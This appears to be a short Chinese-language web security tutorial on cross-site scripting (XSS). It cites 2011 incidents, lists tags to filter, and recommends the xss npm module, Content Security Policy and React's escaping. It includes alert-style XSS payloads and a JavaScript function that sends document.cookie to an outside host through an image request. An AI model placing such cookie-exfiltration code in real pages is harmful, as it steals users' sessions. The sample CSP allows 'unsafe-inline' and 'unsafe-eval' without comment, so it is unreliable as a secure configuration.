2011年4月30,人人站内信遭受XSS攻击。造成人人ID、姓名、学校、手机号、QQ泄露
2011年6月28日,新浪微博遭受XSS攻击,微博用户中招后会自动向自己的粉丝发送含毒私信和微博,有人点击后会再次中毒,形成恶性循环
跨站脚本攻击(Cross Site Scripting),XSS攻击通常指的是通过利用网页开发时留下的漏洞,恶意攻击者往web页面里插入恶意Script代码,当用户浏览时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的
据近些年OWASP(OWASP是世界上最知名的Web安全与数据库安全研究组织)统计XSS占所有web攻击的22%,高居所有web威胁榜首
- <script>
- < script > <style > </style>
- a,href | events
- img,src | events
- style=“width: expression(xxx)”/
推荐引入xss npm模块jsxss.com/zh/index.ht…
- import xss from‘xss’;
- const html = xss(‘ < script > alert(“xss”) < /script>’)/
内容安全策略(Content Security Policy),实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,大大增强了网页的安全性。
- <meta http-equiv="Content-Security-Policy" content="default-src *.meituan.com imeituan://* *.dianping.com 'self' 'unsafe-inline' ‘unsafe-eval' ">
- setHeader(‘Content-Security-Policy’, default-src *.meituan.com imeituan://* *.dianping.com 'self' 'unsafe-inline' ‘unsafe-eval')
- function sendCookie() {
- var img = document.createElement('img');
- img.src = 'https://keycode.me?cookie=' + document.cookie;
- document.body.appendChild(img);
- document.body.removeChild(img);
- }
- sendCookie();
并不是预防了XSS,而是预防了XSS更深入的危害。CSP的具体介绍请戳www.w3.org/TR/CSP1/
React官方文档是这么说的,JSX Prevents Injection Attacks
- <div dangerouslySetInnerHTML={{__html: `<script>alert(‘XSS’)</script>`}} />
来源: https://juejin.im/entry/5a116ec4f265da4326526f10